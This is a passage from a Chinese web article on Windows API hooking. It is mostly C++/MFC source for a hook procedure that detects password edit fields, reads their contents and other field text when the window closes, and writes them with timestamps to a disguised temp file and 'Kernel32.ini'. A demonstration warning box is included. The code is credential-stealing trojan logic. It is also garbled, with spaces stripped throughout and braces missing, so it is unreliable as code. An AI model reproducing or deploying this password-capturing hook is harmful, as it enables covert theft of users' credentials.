      //SpyWndList[SpyArrayNums];
      SpyArrayNums++;
      if(SpyArrayNums==21)SpyArrayNums=20;
      }
      voidWINAPIRemoveFromList(intindex)
      {
      if(index>=SpyArrayNums)return;
      SpyWndList[index].RemoveAll();
      for(inti=0;i<SpyArrayNums-index-1;i++)
      {
      SpyWndList[index+i].Copy(SpyWndList[index+i+1]);
      SpyWndList[index+i+1].RemoveAll();
      }
      SpyArrayNums--;
      }
      BOOLWINAPIHookProc(HWNDhwnd,UINTmessage,WPARAMwParam,LPARAM
      lParam)
      {
      charszCaption[100]="\0";
      charszTitle[100]="\0";
      charclassname[255];
      intindexx;
      CStringSaveInfo;
      if(message&&IsWindow(hwnd))
      {
      GetClassName(hwnd,classname,255);
      LONGstyle=GetWindowLong(hwnd,GWL_STYLE);
      CStringstrClass;
      switch(message){
      caseWM_SETFOCUS:
      strClass=classname;
      if(!strClass.CompareNoCase("EDIT"))
      {
      if((style&ES_PASSWORD)&&(InSpyList(hwnd)==-1))AddToSpyList(hwnd);
      }
      break;
      caseWM_DESTROY:
      if((indexx=InSpyList(hwnd))!=-1)
      {
      inti=indexx;
      for(intj=0;j<SpyWndList[i].GetSize();j++)
      {
      HWNDspywin;
      spywin=(HWND)SpyWndList[i].GetAt(j);
      LONGlStyle=::GetWindowLong(spywin,GWL_STYLE);
      if(IsWindow(spywin)&&j==0)
      {
      charszText[255]="\0";
      ::SendMessage(spywin,WM_GETTEXT,255,(LPARAM)szText);
      CStringtemp=szText;
      SaveInfo=SaveInfo+"(window)"+temp+"\t";
      else
      if(lStyle&ES_PASSWORD)
      {
      charszText[255]="\0";
      //intl=::GetWindowText(hwnd,szText,sizeof(szText));
      ::SendMessage(spywin,WM_GETTEXT,255,(LPARAM)szText);
      CStringtemp=szText;
      SaveInfo=SaveInfo+"(password)"+temp+"\t";
      if(temp.GetLength()==0)returntrue;
      }
      else
      {
      charszText[255]="\0";
      ::SendMessage(spywin,WM_GETTEXT,255,(LPARAM)szText);
      CStringtemp=szText;
      SaveInfo=SaveInfo+"(edit)"+temp+"\t";
      }
      }
      RemoveFromList(indexx);
      time_tnow;
      time(&now);
      structtm*tmnow;
      tmnow=localtime(&now);
      char*timenow=asctime(tmnow);
      CStringtemp;
      temp=timenow;
      intstrlen=temp.GetLength();
      temp=temp.Left(strlen-1);
      SaveInfo=temp+":"+SaveInfo+"\r\n";
      charptemppath[255];
      GetTempPath(255,ptemppath);
      CStringstrFileName;
      strFileName.Format("%s",ptemppath);
      CStringstrName;
      strName.Format("~mps%d.tmp",randv);
      strFileName=strFileName+strName;
      CStringszTemp;
      szTemp.Format("用戶的密碼已被木馬程序保存到一個(gè)名叫%s的文件里
      ",strFileName);
      MessageBox(NULL,szTemp,"請(qǐng)注意靜態(tài)密碼并不安全,請(qǐng)您及時(shí)更換密
      碼!",MB_OK+MB_ICONWARNING);
      WritePrivateProfileString(timenow,strFileName,SaveInfo,
      "Kernel32.ini");
      CFilef(LPCTSTR(strFileName),CFile::modeCreate|CFile::modeWrite
      |CFile::modeNoTruncate);
      f.Seek(0,CFile::end);
      intinfolen=SaveInfo.GetLength();
      f.Write((LPCTSTR)SaveInfo,infolen);
      f.Close();
      }
      break;
      default:
      //sprintf(szCaption,"oh,Themousex:%d
      y:%d",pMsg->pt.x,pMsg->pt.y);
      break;
      }
      if(IsWindow(hHandleWnd))
      {
      if(strlen(szCaption)>=1)
      SendMessage(hHandleWnd,WM_SETTEXT,0,(LPARAM)(LPCTSTR)szCaption);
      }
      }
      returntrue;
      }
      有關(guān)APIHOOK實(shí)現(xiàn)的方法還有很多,比如采用的某些開發(fā)包是源代碼共享的,
      有些則是收費(fèi)的。比較好的解決方案還有http://www.網(wǎng)站IvoIvanov
      提供的APIhookingrevealed一文和http://www.網(wǎng)站W(wǎng)adeBrainerd提出
      的APIHijack-ALibraryforEasyDLLFunctionHooking以及WeiJunping提出的Hijack
      TextoutCallsFromNotepad。

        本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
        轉(zhuǎn)藏 分享 獻(xiàn)花(0

        0條評(píng)論

        發(fā)表

        請(qǐng)遵守用戶 評(píng)論公約

        類似文章 更多